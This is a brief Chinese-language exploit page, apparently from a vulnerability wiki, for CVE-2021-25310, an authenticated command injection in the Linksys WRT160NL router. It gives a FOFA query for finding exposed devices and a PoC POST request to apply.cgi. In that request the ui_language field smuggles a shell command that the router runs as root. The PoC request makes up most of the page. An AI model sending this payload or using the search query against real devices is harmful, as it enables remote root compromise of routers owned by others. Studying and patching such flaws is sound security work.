跳转至

Linksys WRT160NL 身份验证命令注入(CVE-2021-25310)

FOFA:

app="LINKSYS-WRT160NL"

成功利用此漏洞可能导致在受影响的设备上远程执行代码。

管理Web面板允许用户更改UI语言,以将POST请求发送到apply.cgi。该参数在内部作为系统命令中文件系统路径的一部分。缺少输出编码和输入验证,使经过身份验证的攻击者能够注入将以root特权执行系统命令。

PoC:

POST /apply.cgi;session_id=8e780f3bcc71e19a37cc3e60a5576241 HTTP/1.1
Host: 192.168.1.150
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 854
Origin: http://192.168.1.150
Connection: close
Referer: http://192.168.1.150/index.asp;session_id=8e780f3bcc71e19a37cc3e60a5576241
Upgrade-Insecure-Requests: 1

pptp_dhcp=0&(...)&ui_language=es||ls>/tmp/b||&(...)

ref:

  • https://research.nccgroup.com/2021/01/28/technical-advisory-linksys-wrt160nl-authenticated-command-injection-cve-2021-25310/
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25310
  • https://forum.ywhack.com/thread-115065-1-1.html